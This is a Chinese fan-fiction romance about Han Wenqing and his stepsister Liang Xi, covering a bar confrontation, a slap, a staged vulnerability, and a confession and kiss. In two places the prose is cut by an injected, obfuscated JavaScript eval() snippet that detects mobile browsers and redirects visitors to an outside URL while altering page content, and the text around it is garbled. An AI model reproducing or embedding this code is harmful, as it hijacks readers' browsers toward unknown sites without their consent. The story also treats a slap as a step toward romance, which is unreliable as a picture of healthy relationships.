《[全职]捡到一个男朋友》 1. 摊牌 夏休期的夜晚,黏稠闷热。酒吧里光影摇曳,霓虹灯光像是被汗水浸透的颜料,在人群的头顶晕开一片暧昧不清的色块。 梁夕坐在卡座里,手里那杯龙舌兰日出只喝了一半,冰都快化光了。杯壁外侧凝满了水珠,顺着指缝往下淌。她其实没什么心思喝酒,杯沿贴在唇边也只是做个样子,眼角余光总是不自觉地瞟向入口方向。 身边,刚“转正”没几天的男友正贴着她耳朵说话,气息喷在她耳廓上,有点痒。他说了什么梁夕一个字都没听进去,只觉得那声音像闷在罐子里的苍蝇,嗡嗡地响。男生的手试探性地搭在她身后的靠背上,指尖似有若无地蹭着她肩胛骨的位置。 梁夕没躲,甚至在他递过酒杯时,还扯着嘴角笑了笑,只是那笑意没到眼底。 她在等一个人。 她知道他会来。或者说,她算准了他会来。 从他妈——现在也是她名义上的母亲——下午那通“小夕晚上和同学出去玩,不回家吃饭,你自己安排”的电话开始,她就知道。 果然,没过多久,那个与周遭迷幻氛围格格不入的高大身影出现在门口,带着一身沉肃气压。 梁夕看着他的目光扫过昏暗的室内,精准地定位到她,心里那点混合着恶意和期待的火苗,忽地窜高了一截。 韩文清穿着一件深色的短袖T恤,领口规整,连褶皱都很少。他穿过扭动的人群,眉头拧得死紧,舞池里的男男女女在他经过时都不自觉地侧身避让。 这人的每一步都像踩在什么不洁之物上。那种从骨子里透出来的排斥感,几乎要从他步伐里溢出来。 等他终于站定在卡座前,阴影完全笼罩下来,梁夕才慢悠悠抬起脸。 “哟,”她拖长了调子,声音在嘈杂音乐里不算大,却足够清晰,“纪律委员来查岗啦?” 桌上几个同来的朋友表情都有些僵,有人下意识地把酒杯往桌子中间推了推,像在撇清什么关系。旁边的男友则是瞬间坐直了身体,手从她身后的靠背上滑下来,指关节不自觉地蜷缩了一下。他看了韩文清一眼,又迅速移开,喉结上下滚动,没说一个字。 韩文清没理会她的调侃,甚至没多看旁人一眼,只盯着她,声音又低又沉,像闷雷滚过:“梁夕,回家。” 四个字。没有解释,但语气听着也没有商量的余地。 梁夕眨了眨眼。出人意料地,她没反抗,反而异常顺从地放下了杯子,还抽了张纸巾擦了擦指尖上沾的潮气。然后她站起身,拿起搭在旁边包上的薄衬衫披上,腰间随意打了个结。 她转向旁边脸色有点发白的男友,语气轻松,甚至带了点俏皮:“不好意思啊,我哥来接了,扫大家兴了。我先撤了,改天再约哈。” 那个“哥”字,被她念得又轻又快,像片羽毛挠得人心尖发痒,又带着说不出的刻意。 说完,她也不看韩文清瞬间又黑了几分的脸色,拎起自己的小包,绕过桌子,真的就跟在他身后往外走。步子不紧不慢,背影看上去甚至很是乖巧。 一路沉默。 酒吧门在身后关闭,隔绝了喧嚣,午夜的街道安静得能听见心跳。路灯的光晕在地上铺成一片暖黄色,几只飞蛾绕着灯泡不知疲倦地打转。 韩文清步子迈得又大又急,梁夕需要小跑两步才能跟上,鞋跟敲击地面的声音在寂静里格外清晰。他始终走在她前面半步,背脊挺直僵硬,一次也没有回头。 进了家门,沉重的防盗门在身后“咔哒”一声锁死,外界最后一丝热闹也终于被隔绝。客厅只开了玄关柜上方的那盏壁灯,昏黄的光线勉强勾勒出家具的轮廓,显得空旷又冷清。 父亲出差,继母回娘家,这个“家”,此刻只剩下他们两人,和几乎要凝成实质的、令人窒息的对峙。 韩文清终于转过身。那些在酒吧里、在街道上被强行压制的怒气,在这绝对私密的空间里,再无须掩饰。 “你看看现在几点了?”他开口,声音比刚才在酒吧更沉,“一个小姑娘家大半夜在酒吧那种地方混,像什么样子?” 梁夕没像在酒吧时那样乖巧了。离开了人群的注视,她的刺一根一根地竖了起来。 “不然呢?图书馆吗?”她靠在玄关的柜子边,好整以暇地看着他,语气里带着漫不经心的挑衅,“哥,夏休期哎。你自己愿意训练一天不带歇,不代表别人也得跟着坐禅修行吧?” 她刻意咬重的那个称呼,让韩文清的眉心又狠狠一跳。 他目光锐利地扫过她全身,从那件松垮、腰间系着结、露出小片肌肤的薄衬衫,到露着两条笔直长腿的牛仔短裤,再到脚上那双跟高得像要出来打仗的高跟凉鞋,最后落在她脸上那副满不在乎、甚至带着点挑衅的神情。 “穿得这是什么?”韩文清语气里的不赞同几乎要溢出来,“你自己看看合适吗?大半夜穿成这样去那种地方,你想干什么?” 他往前逼近一步。那一步不大,却带着属于成年男性的、久居上位的强势压迫感。 “还有刚才酒吧里,你旁边那个,”他顿了顿,像是在找用什么词更合适,“那小子看你的眼神……梁夕,你有没有一点分寸?” 分寸? 这两个字一出,梁夕脸上那点伪装的笑意彻底消失。她猛地站直身体,仰起脸,几乎要撞上他的下巴。 “分寸?”她嗤笑一声,“去酒吧不穿这个穿什么?裹棉袄吗?” “韩文清,你告诉我,什么叫分寸?几点出门叫分寸?穿多长的裤子叫分寸?和什么人说话、让什么人看一眼叫分寸?” “至于眼神……”她的声音陡然拔高,带着破罐破摔的尖锐,“你说他什么眼神?他看我的眼神,和你看我的眼神,有区别吗?” 最后这句话像一把刀,直直地捅进他的心窝子里,没有半分留手。 韩文清呼吸一滞,瞳孔剧烈收缩,喉咙像是被什么堵住了,一个字都说不出来。 梁夕看着他的反应,心里那股混合了报复和绝望的情绪烧得更旺了。她不要他沉默,不要他退缩,她要他痛,要他像她一样痛。 她往前又逼了一步,鞋尖几乎顶上他的鞋尖,仰着脸,一双眼睛亮得吓人,像烧尽了所有理智之后剩下的那点火星。 “怎么,你接受得了自己那么看我,就接受不了别人也那么看我?”梁夕不依不饶,每一个字都像钉子,狠狠往他心里钉,“韩文清,你心里在想什么,真以为我不知道吗?” “装什么兄妹情深,演给谁看?”她看着他额角暴起的青筋,心里涌起一股残忍的快意,像在伤口上撒盐,既是痛也是爽,“我爸今天不在家,你妈也不在,就剩你,巴巴地跑去酒吧把我抓回来……凭什么?你凭什么管我?是凭我爸你妈让我叫你哥,还是凭你心里那些——” “梁夕!”他猛地低吼,声音终于从喉咙里炸出来,带着罕见的惊怒。像是被彻底剥掉了伪装,露出了血淋淋的内里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“韩文清,”她一字一顿,清晰无比,“你告诉我,我有哪句话说错了?” 她的视线扫过他剧烈起伏的胸膛,扫过他紧握成拳、骨节发白的手,最后重新定格在他脸上。 “不是都说,霸图的人,个个都是硬汉,敢作敢当吗?”她嘴角的弧度加深,眼底却是一片荒芜,“你喜欢我,怎么就……不敢承认呢?” 最后几个字,轻得像叹息,却比任何嘶喊都更致命。 韩文清像是被这句话彻底击垮了。他脸上最后一丝血色褪尽,只剩下灰败。他看着梁夕,嘴唇动了动,却发不出任何声音。 眼神里有震惊,有被彻底戳穿的狼狈,有痛苦,还有一种……绝望。 他动了动唇,却没发出任何声音。下一秒,他猛地转过身,动作仓皇到几乎踉跄。然后他一把拉开大门,冲进了夜色里。 门在身后重重撞上,巨响在空旷的客厅里回荡,震得梁夕耳膜发麻,也震得她身体轻轻晃了一下。 客厅重归寂静。 一种比刚才更深、更浓、更让人喘不过气的寂静。 梁夕在原地站了很久,久到她的腿开始发麻,久到她脸上那片火辣辣的疼变成了钝钝的麻和肿。她抬手,用冰凉的指尖,轻轻地碰了碰那片灼热。 然后,她扯了扯嘴角。 窗外,夜色正浓,仿佛要吞噬一切。这个夏休期的夜晚,似乎要提前结束了。 2. 告白 门被甩上的巨响余韵,在空荡的客厅里久久不散,最终沉入一片更深的死寂。 他跑了。 韩文清,霸图战队队长,以勇猛刚硬、宁折不弯著称的男人,被她几句话逼得夺门而逃。像被踩了尾巴的猛兽,仓皇逃进了夜色里。 可他能跑到哪里去?这是他家。夏休期的深夜,俱乐部都没人了,他除了这里,还能去哪儿? 他不会不回来。 梁夕慢慢走到客厅中央,目光扫过这间属于他们一家却常常空置的客厅。她没有开大灯,只拧亮了沙发旁那盏落地灯。昏黄柔和的光晕只照亮了一小片区域,将其他角落留给更浓重的阴影。 然后,她在地板上坐了下来。背靠着沙发的底座,曲起腿,双臂环抱住膝盖,把自己蜷缩成一团。这个姿势让她看起来很小,很脆弱,陷在那圈微弱的光晕里,像个被遗弃在空旷舞台上的玩偶。 一半是真的。 一半是演的。 真的那部分,是心口那处酸涩的闷痛和不被认可的委屈。她把话都说到了那个份上,撕开了所有遮羞布,把他逼到了悬崖边,可他还是没有承认。哪怕一个眼神的肯定,一句含糊的回应,都没有。只有逃离。 脸颊还在疼,是他打的。那记耳光清脆利落,力道毫不含糊。疼痛无比真实地提醒着她刚才发生的一切,以及他们之间那道看似一步之遥、实则坚固无比的壁垒。 演的那部分,是她残存的、不肯服输的算计。 硬的手段——激将法、撕破脸、把他那些见不得光的心思一件件抖出来——都用了,效果是把他逼走了,没有得到她想要的结果。 既然硬的不行……那就来软的。 他心硬,对自己比对谁都狠。但他不坏,甚至在某些方面,有种近乎古板的责任感。他对她,有那份说不清道不明的心思,这就够了。她要利用这份心思,利用他的内疚,利用他可能连自己都不愿承认的那份保护欲。 她故意将被他打过的那半边脸,朝向门口的方向。在昏黄的光线下,那片红肿应该足够醒目,像一道无声的控诉。 然后,她调整了一下姿势,让自己看起来像是支撑不住,歪着头,靠在了沙发边缘。闭上眼睛,放缓呼吸,做出疲惫到沉睡的模样。 长长的睫毛在眼下投出浅浅的阴影,衬得那张带着伤痕的脸愈发苍白脆弱。 她在等。 等那扇门再次被推开。 如果——如果他看不下去,如果那点内疚和别的什么情绪终于压过了他的顽固和恐惧,如果他走过来,看到她睡着,可能会试图抱她去床上。 梁夕在心里模拟着。她可以惊醒,迷迷糊糊,带着哭腔,抓住他的衣服,不让他走。或者干脆装到底,在他怀里找个更舒服的姿势,把脸埋进去。 他总不能把她扔出去。 如果——如果他真的铁石心肠,只是看一眼,或许皱皱眉,然后转身回自己房间,甚至可能就让她在这里坐一夜…… 那她就—— 梁夕蜷缩的手指微微收紧,指甲抵着掌心。 那她就放弃。 时间在寂静中流淌,每一秒都被拉得漫长。窗外偶尔有车辆驶过的微弱声响,更衬得室内寂静如渊。地板的凉意从尾椎骨一路渗透进来。脸颊还在一阵阵地肿痛。维持一个姿势久了,身体有些僵硬。 但她没动。 像一场耐心的狩猎,也像一场孤注一掷的赌博。 不知过了多久,也许一小时,也许两小时。楼道里终于传来了脚步声,很沉,很慢,带着犹豫,停在了门外。 钥匙插入锁孔的声音轻微地响起,转动,门锁“咔哒”一声打开。 门被推开一道缝隙,停顿了片刻,才被缓缓推开。 韩文清的身影重新出现在门口,没有立刻进来,像是不知道是否该踏进这片刚刚被她的逼问搅得天翻地覆的空间。但他的目光,第一时间就落进了那片昏黄的光晕里,落在了蜷缩在地板上的那个身影上。 他的脚步顿住,呼吸似乎也凝滞了一瞬。 灯光勾勒出梁夕单薄的轮廓,她抱着自己,侧脸对着他的方向,那片红肿在柔光下刺目异常。她似乎睡着了,眉头微微蹙着,整个人看起来那么小,那么……不堪一击。 这和他离开时那个咄咄逼人、言辞如刀的她,判若两人。 韩文清站在原地,久久没有动作,浓重的阴影覆盖着他的脸,看不清具体表情。他的目光紧锁在她身上,尤其是那片红肿的脸颊,眸色压着,翻涌着各种情绪,痛悔、挣扎、痛苦,还有克制。 垂在身侧的手,缓缓握紧,又松开。 他打了她。 他居然打了她。 比赛里,拳皇是用拳头解决问题的。可他从没想过,自己的手有一朝会落在她脸上。 她什么也没说错。原本就是他的问题,是他存了那些不该有的念头。那些被他压在心底不敢碰又舍不得放的念头,被她翻出来摆在他面前的那瞬间,他的理智就完全崩盘了。唯一的想法是,不能让她再这么继续说下去。 不是恼羞成怒。是觉得自己无耻,是不敢面对。 时间一分一秒过去。 他终于动了。脚步极轻,几乎听不见声音,慢慢走进了那片光晕笼罩的范围。他在梁夕面前停下,居高临下地看着她。 梁夕能感觉到他的靠近,能感觉到他的目光落在自己脸上,带着温度,也带着重量。他的存在感太强了,即便闭着眼,她也能清晰地感知到他在那里。 她维持着均匀的呼吸,心跳却不由自主地加快。 他会怎么做? 是如她所期待的那样,心软,内疚,然后…… 还是…… 韩文清在她面前蹲了下来,他的影子完全笼罩住了她。 他看了她很久,目光在她红肿的脸颊上停留,眼神里的痛楚几乎要溢出来。他抬起手,似乎想要碰触那片伤痕,但在指尖即将触碰到她肌肤的前一刻,猛地停住了。 他的喉结剧烈滚动了一下。 最终,那只手没有落下。他收回手,握成拳,抵在自己的膝盖上。 梁夕几乎要忍不住了。她在心里喊,碰我啊,你碰我啊。 可韩文清就是这样的人。到了这一步,还在克制,还在跟自己较劲。 他又静静地看了她片刻,然后,极其缓慢地、小心翼翼地伸出了双臂。一只手穿过她的腿弯,另一只手绕过她的后背,动作生疏而僵硬,将她从地板上打横抱了起来。 身体突然的悬空让梁夕差点没维持住呼吸的平稳。他的怀抱比她想象的更坚实,隔着薄薄的衣料,她能感受到他胸膛传来的有些急促的心跳。 心跳骗不了人。那不是一个哥哥的心跳该有的频率。 他没说话,只抱着她,朝她的卧室走去。脚步很稳,但抱着她的手臂肌肉绷得很紧。 梁夕的心跳得更快了。她靠在他怀里,依旧闭着眼,感受着他每一步的震动。 计划似乎……在进行中? 转弯,三步,五步,十步……韩文清停下了。梁夕感觉到他似乎抬了抬脚,门转动的时候想起轻微的吱呀声。她感觉到他走到了床边,弯下腰,准备将她放到床上。 就是现在。 梁夕在心里默数,准备在他松手、自己身体接触到床垫的瞬间惊醒。 然而,就在她的后背即将贴上床褥的前一刻,韩文清的动作却停顿了一下。他抱着她,没有立刻放下,而是保持着那个弯腰的姿势。他的呼吸喷在她的发顶,温热而沉重。 梁夕几乎能感觉到他胸膛的起伏,和自己擂鼓般的心跳混在一起。 然后,她感觉到他抱着她的手臂收紧了一瞬。 那个动作极其轻微,却似乎带着一种近乎绝望的力道,像是在承认什么,又像是在与什么道别。梁夕听到他长长地叹了口气,随即准备将她放下—— 梁夕的手,在她自己反应过来之前,已经猛地抬起,攥住了他胸前的衣料。 不是预谋中的惊醒后顺势而为,而是完全下意识的动作。 韩文清的身体骤然僵住,放下的动作停滞在半空。 昏暗中,两人维持着这个诡异的姿势——他弯着腰,她半悬在床铺上方,一只手紧紧抓着他的衣服。空气凝滞,只有彼此交织的、无法完全平复的呼吸声。 几秒死寂。 “……你没睡。” 韩文清的声音沙哑得厉害,不是疑问,是陈述。带着一丝被戳穿的狼狈,和更深沉的疲惫。 梁夕攥着他衣料的手指关节微微泛白。她没有立刻回答,只是借着窗外透进来的微光,努力想看清他脸上的表情,却只看到一个紧绷的、模糊的轮廓。 半晌,她才松开一点力道,却依旧没放手,声音低低的,带着一丝哽咽,不是演的。 “你打我……我……难受。” 这话说出来,连她自己都愣了一下。 这是她今晚说出的最诚实的一句话。 最开始,她确实是打算用这伤来演戏,来激他。她先说了那些捅破窗户纸的话,戳他心窝子。可她说的是不是事实?是。结果呢?他用一记耳光堵住了她所有未出口的、更直白也更羞耻的指控。 脸颊已经不觉得疼了,可心口那股被她强行压下去的酸涩和委屈,却因为这句脱口而出的实话,猛地翻涌了上来,堵得喉咙发紧。 韩文清的身体似乎颤了一下,没说话,但梁夕能感觉到他胸口的起伏更加明显。 这沉默,还有刚才那一下的收紧,给了梁夕一种近乎绝望的勇气。她知道,如果现在不抓住,如果让他就这样走出这扇门,等到天亮,等到以后,他只会把自己武装得更坚硬,筑起更高的墙,划下更清晰的距离。 那时候,她将再也无法靠近分毫。 尖锐的言辞逼迫没用。她不再说他对她的想法,她开始说她自己。 “你知道我喜欢你,”她声音轻轻的,带着一种破碎的颤音,“你还打我……是因为我的喜欢,让你觉得恶心吗?” 韩文清的呼吸猛地一窒。恶心?他怎么会觉得她恶心。他恶心的是自己。 梁夕却好像没察觉,或者说,她根本不在乎他的反应了,只是自顾自地说下去,像要把积攒了多年的、无人可诉的依赖和转变,全都倾倒出来。 “可是韩文清,我怎么能不喜欢你?” 第一滴眼泪毫无征兆地滚落,烫得梁夕自己都心惊。 ——“从小到大……没人管我。我妈走得早,我爸……他只会说让我自己坚强,自己处理。在学校被人欺负了,被人冤枉了,他让我从自己身上找原因。”她吸了吸鼻子,眼泪掉得更凶,“只有你……瞎掺和。你会给我出头,会把那些欺负我的人堵在巷子口,虽然你话都不多说两句,可他们就是怕了,再也不敢了。” 韩文清想起来了。那时候她刚上高一,后桌坐了个小太妹,上课喜欢脚踩在她椅子上。她有次挪了一下,结果小太妹大概没准备,人往前嗑了下很不高兴。后来就开始有事没事故意踢她凳子,拽她头发。她不胜其烦,最后找老师换了座位。 本来觉得这事儿就结束了。没想到小太妹找了几个小混混找她麻烦,放学路上堵她。小混混倒也没敢动手,只是把嚼过的口香糖粘在她校徽上,吓唬了她几句。 但对于一个刚上高一的小姑娘来说,这种无声的恐吓带来的心理压力更大。 他知道的那天,什么都没说,只是放学后在巷子口等着,把为首的那个堵在了墙角。他没动手,他只是站在那里,用那种在赛场上能让对手胆寒的眼神盯着对方。第二天,她再也没被找过麻烦。 ——“下晚自习,那么黑的路,我爸从来没想过接我。只有你,明明训练那么累,还等我,给我拎书包,走在我旁边……我不用再一个人,提心吊胆地走回去。” 她记得每个冬天的晚自习。霸图晚上会有战术讨论和训练复盘,结束时间一般是八点,她走读,两节晚自习结束是八点半。从学校到家的那条路,路灯坏了三盏。她从来没跟他说过她害怕,但他总会在没灯的那个路口等她。 一开始她觉得是巧合,后来她故意拖到九点才走,发现他还在。 一直到后来路灯修好、隔壁搬来了一家和她同校的邻居,两家的姑娘约着一起上学放学,他远远跟了几次没发现什么问题,这才不再去接。 ——“我长这么大,收到的最合心意的礼物,是你送的。不是多贵的东西,就是一支钢笔,但很好看。我用那只笔,写了一整本日记,写的都是你。” 那只笔是他去外地打客场比赛时在机场买的。往登机口走的路上正好看到,第一眼就觉得那个样子她会喜欢。回来递给她的时候,他说的是“路过看见,随手买的”。 ——“我生病发烧,迷迷糊糊,是你守着我,给我换毛巾,喂我吃药。” 那次她烧到三十九度,父亲出差,他母亲——她的继母——回了娘家。家里只剩他。他一个从不照顾人的人,笨手笨脚地拧毛巾,半天才想起来要换水。喂她吃药的时候,水洒了一半在枕头上。她烧得迷迷糊糊间,感觉到一只手覆在她额头上试温度,凉凉的,很舒服。 ——“我爸都不知道我来例假会痛经,痛得死去活来……但你发现了。你还给我准备热水袋。” 那是大一暑假。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529140|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一向备着止疼药,从来不在任何人面前提这事。唯独那次,不知道是头天在空调房里待太久受了凉,还是别的什么原因,止疼药吃了也没用。她窝在客厅沙发上,大夏天盖了条薄毯,后腰到大腿还是一片冰凉,整个人蜷成一团,脸色白得吓人。 她听见韩文清开门走进来的时候,心里还在想,怎么解释。但他什么都没问,只是把客厅的空调温度调高了几度,去厨房倒了杯热水搁在茶几上,然后又回自己房间,出来的时候手里多了个深灰色的热敷包,巴掌宽,绑带式的,电竞选手用来敷手腕的那种。已经加热好了,开关亮着微弱的光。 她把热敷包按在小腹上。恒温的热度透过绒布源源不断地渗进皮肤,那股从骨头缝里往外钻的冷意终于被逼退了一点。 过了几天,她收到了一个快递。拆开一看,是一个艾草的热敷包。她拿着那个热敷包,给韩文清发了条微信,第一次没叫他哥,只拍了张快递的照片,说了句“收到了”。那边回得很快,就一个“嗯”。过了一会,又收到了一条:“少吃止疼药。” 他以为她什么都不知道,其实她记得每一个细节。 ——“我不吃姜,每次吃饭,你都默默地把菜里的姜挑出来,放到自己碗里,说你也不吃。我知道你吃的。” ——“我爱吃虾,每次家里做虾,饭桌上,你总是不动声色地把那盘虾换到我面前。” ——“我不高兴,哪怕只是皱一下眉头,你总是第一个发现,然后过一会儿,我喜欢的奶茶就送到了。” ——“我爸嫌我追星,看演唱会乱花钱,跟你抱怨。你就把你比赛的奖金打给我,让我去玩,去看。韩文清,你记得你给我打了多少钱吗?你给我打了50万,我看什么演唱会要花那么多钱?” 梁夕的语速很快,眼泪流得满脸都是,声音断断续续,却执着地把这些早已融入日常的片段挖出来、摊开来,一个个细数。 “一开始……我觉得你是在讨好,不爱理你,觉得你假惺惺。” “后来……我觉得我有了个特别好的哥哥,看见你就高兴,什么好事都想跟你说。我还跟我好朋友炫耀,‘这个是我哥买的’,‘那个也是我哥买的’……” “再后来……”她的声音骤然低了下去,带着无尽的迷茫和痛苦,“我看见你,不那么高兴了。因为……我想拉你的手,想抱你,想亲你。但是我不敢……我害怕。” “然后,我发现你对我也……”她顿了顿,没有说出那个词,但彼此心知肚明,“我又高兴了。我当时还在想,韩文清什么时候会跟我说‘我喜欢你’?我连怎么回答都想了好多遍。” “可是后来我发现,”她的声音里透出绝望,“你根本不打算说,甚至不打算让我知道。你就想那么一直……藏着,掖着,当你的好哥哥。” “我就在想,凭什么?”她的质问轻得像叹息,却重如千钧,“我和你又没有血缘关系,凭什么他们在一起,就要牺牲我的感情?我试过不看你,试过和别人在一起……可我做不到。我看见别人,想的全是你。” “韩文清,”她顿了顿,声音压得更低,“他亲我的时候,你知道我在想什么吗?” 韩文清的呼吸猛地一窒,手倏然握紧。他不认识那个男生,但今晚在酒吧里他看见了——坐在她身边的、手搭在她靠背上的年轻人。他当时就想把那小子拎起来丢出去。 “我当时在想……要是你,肯定很凶。” 他的大脑像是被这句话一把攥住了,画面不受控制地在他脑海里铺开——不是她,是他自己。是她描述的、属于他的方式。他仿佛能看见自己捧着梁夕的脸,能感受到那臆想中属于他自己的炽烈的气息。 那念头仅仅是被她这样说出来,就足以让他感到万劫不复。 “我想让你承认,我逼你,”她攥着他衣服的手越来越紧,“因为我不想就这么算了,不想就这么不明不白地放弃……但是……” 梁夕终于抬起泪眼模糊的脸,在昏暗的光线里,看向他的眼睛。 “我没想到你……打我。” 这句话说完,仿佛抽干了她最后一丝强撑的力气。巨大的委屈和伤心汹涌而来,将她彻底淹没。 “韩文清,你怎么能打我……”她哭得语不成调,“我那么喜欢你……你怎么能……这样对我……” 她终于卸下所有伪装,只剩下最原始的心伤。不是算计,不是演戏,是一个喜欢了他这么多年、却被他用一记耳光回应的女孩,最真实的崩溃。 韩文清僵立在那里,像一尊石像。从她攥住他衣服开始,到她一字一句,哭着说出那些他从未想过她会如此清晰记得的点点滴滴,再到最后那句崩溃的“你怎么能打我”—— 每一个字,都像一把重锤,砸在他自以为坚固的防线上,砸得他神魂俱震。 他以为他藏得很好。 他以为那些下意识的照顾、那些笨拙的关心、那些深夜独自吞咽的悸动与挣扎,无人知晓。 他以为推开她、用最激烈的方式打断她的话,就能将一切拉回正轨,就能继续维持那层脆弱的、名为兄妹的假象。 可他错了。 错得离谱。 她不仅全都知道,不仅全都感受得到,还将它们细细收藏,变成了喜欢他的理由,变成了此刻刺向他、也刺向她自己最锋利的刀。 那记耳光,打在梁夕脸上,此刻却千百倍地反噬回来,扇得他耳鸣目眩,五脏六腑都搅在一起,剧痛难当。 他看着眼前哭得浑身发抖,脸上泪痕交错、红肿未消的女孩,那个他看着从倔强叛逆到悄然心动、如今被他亲手伤到的女孩。 他筑起的高墙,在她汹涌的眼泪和毫不掩饰的喜欢面前,轰然倒塌,碎成齑粉。 什么兄妹,什么责任,什么道德枷锁,什么职业纪律,在这一刻,全都模糊褪色,失去了重量。 只剩下她滚烫的眼泪,她绝望的质问,和她那句—— “我那么喜欢你。” 韩文清脑子里那根一直紧绷的、仿佛随时会断裂的弦,终于,嘣地一声,断了。 他喉结剧烈地滚动着,眼眶发热,有什么滚烫的东西几乎要冲破那层硬壳。 一直紧握成拳、指节早已捏得发白的手,终于,极其缓慢地,抬了起来。 这一次,没有犹豫,没有停滞。他的掌心,轻轻覆上了她的脸颊。 指尖触碰到肌肤的瞬间,梁夕颤了一下。 他的拇指,极轻极缓地拭过她的眼角。没什么用,她的眼泪不断涌出来,根本擦不干净。 然后他张了张嘴,试了几次,才终于挤出几个破碎的音节: “……别哭了。” 3. 挣扎 韩文清嘶哑的声音,和他指尖笨拙却温柔的触碰,像一根羽毛,轻抚过梁夕最疼也最软的心尖上。 之前的绝望和委屈,因为这突如其来的,几乎算得上温柔的对待,稍微融化了一角,却也让那份渴望确认的心情变得更加急切,更加无法忍受任何模棱两可。 她抬起湿漉漉的眼睛,看着他近在咫尺的脸庞,吸了吸鼻子,带着浓重的鼻音,声音却执拗异常: “那你说你喜欢我。” 这句话她说得很快,几乎没什么起伏,却像一把小巧的钥匙,试图去开启那扇她徘徊了太久、几乎以为永远不会打开的门。 潜台词清晰得无需言明:你说了,我就不哭了。 韩文清的身体明显僵了一下。覆在她脸颊上的手微微一顿,指尖的温度似乎都凉了几分。 他看着她。看着她脸颊上纵横的泪痕和未消的红肿,看着她眼睛里那团尚未熄灭的火焰、混合着伤心、委屈、害怕,还有一丝不肯放弃的希冀。她的眼神太过直接,太过滚烫,几乎要将他最后一点试图保留的理智焚烧殆尽。 沉默在两人之间蔓延。 梁夕的心,随着沉默的延长,一点点往下沉。 她听出了他刚才那声“别哭了”里泄露的柔软和痛悔,但这并不意味着他就愿意跨出那最关键的一步。他还是那个韩文清,固执、克制,把责任和规则刻在骨子里。 失望慢慢爬上心头,尖锐的疼痛再次袭来。她想,也许她真的错了,也许她所谓的感觉只是自作多情,也许他那些下意识的关怀真的只是哥哥的责任,与喜欢无关。 眼泪不受控制地又慢慢积聚在眼眶里,摇摇欲坠,映着窗外微弱的光,像破碎的星子。但她依旧倔强地仰着脸,不肯移开视线,仿佛要用尽最后一点力气,把他此刻的表情刻进心里。 就在梁夕几乎要放弃,积聚在她眼窝的泪水即将再次决堤的前一刻—— 韩文清长长地叹了一口气,带着无尽的疲惫、挣扎,和一种终于放弃抵抗的颓然。 他闭上了眼睛,浓密的睫毛在眼睑下投出一片深深的阴影,遮住了所有翻腾的情绪。 然后,他低下头。一个极轻、极快的吻,落在了梁夕的额头上。 干燥温热的触感一掠而过,快得像错觉,却像一道细微的电流,瞬间击穿了梁夕所有的防线和猜测。 紧接着,他重新睁开眼,直直地望进她的眼底。那双总是坚毅锐利的眸子,此刻却盛满了认命般的痛苦。 他的声音低沉沙哑得几乎碎裂,每个字都像是从灵魂深处硬挤出来。 “……我……” 他喉结滚动,仿佛用尽了毕生的勇气。 “……喜欢你。” 这三个字落下,空气仿佛都凝固了。 但还没完。 他看着她瞬间睁大的的眼睛,看着那里面迅速燃起的璀璨光芒,像是被那光芒蛊惑,又像是要将所有压抑的疯狂都倾倒出来,他继续开口,声音更低,却更加清晰,带着一种近乎自毁的坦诚: “——喜欢得快疯了。” 梁夕觉得自己的世界炸开了漫天烟花。 所有的委屈、伤心、不安、试探、算计,在这一刻,全都失去了意义。只剩下这六个字,在她耳边、在她心里反复回响,震得她灵魂都在颤抖。 泪水再一次汹涌而出,但这一次,不再是伤心和绝望的泪水。那是巨大的惊喜、释然、以及无法言喻的酸楚和甜蜜混合而成的洪流。 她先是哭,肩膀控制不住地抖动,然后,哭声里又溢出了一声短促的、带着泣音的笑。 她什么也顾不上了。脑子里一片空白,只剩下本能。 一直攥着他衣襟的手松开,下一秒,双臂毫不犹豫地、紧紧地环住了他的脖颈,然后仰起脸,带着未干的泪痕和不管不顾的勇气,重重地吻上了他的唇。 这个吻,毫无章法。急切,莽撞,甚至磕碰到了牙齿,带着泪水的咸涩和她唇上残留的、之前酒吧里那杯龙舌兰日出的微弱甜香。但它是滚烫的,真实的,充满了狂喜和确认。 韩文清被她撞得微微后仰。但立刻,那仅存的一丝僵硬和犹豫,在她主动而炽热的亲吻中土崩瓦解。他把她放下,环在她背后的手臂猛地收紧,托在她膝弯的手撑在了她头的一侧。 不再是刚才额头上那轻如羽毛的一触。他带着积压了太久的渴望、痛苦,凶狠又笨拙地回应着她,吞噬着她的呼吸,也交付着自己全部压抑的情感。 那个吻持续了很久。 久到梁夕肺里的空气几乎被抽空,头脑因为缺氧和过度的情绪冲击而晕眩。 最初的莽撞和确认渐渐沉淀下来,转化为一种更深沉、更磨人的纠缠。 韩文清撑在她身体两侧的手臂肌肉绷得极紧,抚在她脸上的那只手,已经从她脸颊旁滑落,起初只是无意识地摩挲着她的耳垂和鬓发,后来不知何时,已经顺着肩颈线条向下,停在了她锁骨边缘。 他的指尖温度高得惊人,梁夕轻微地颤栗了一下,不是因为害怕,而是因为来自他的触碰,让她心跳失序。 直到梁夕因为缺氧,轻轻推了推他一下,两人才气喘吁吁的分开少许。 韩文清像是从一场深沉的迷梦中惊醒,迅速抽离了那个几乎要将彼此燃烧殆尽的吻,手臂也立刻收回,撑回原位,与她拉开了一点距离。 他的胸膛剧烈起伏,眼神里还残留着未褪的情欲和一丝被抓包的狼狈与紧张,紧紧盯着她,似乎在判断她的意图。 梁夕也没好到哪里去,脸颊绯红,眼神水润迷离。心里被一种巨大的满足感填满,却又有一丝不安。 她松开环着他脖子的双手,转而撑着自己坐了起来。 韩文清下意识地也随着她的动作直起身,目光追随着她,带着不解和未平息的悸动。 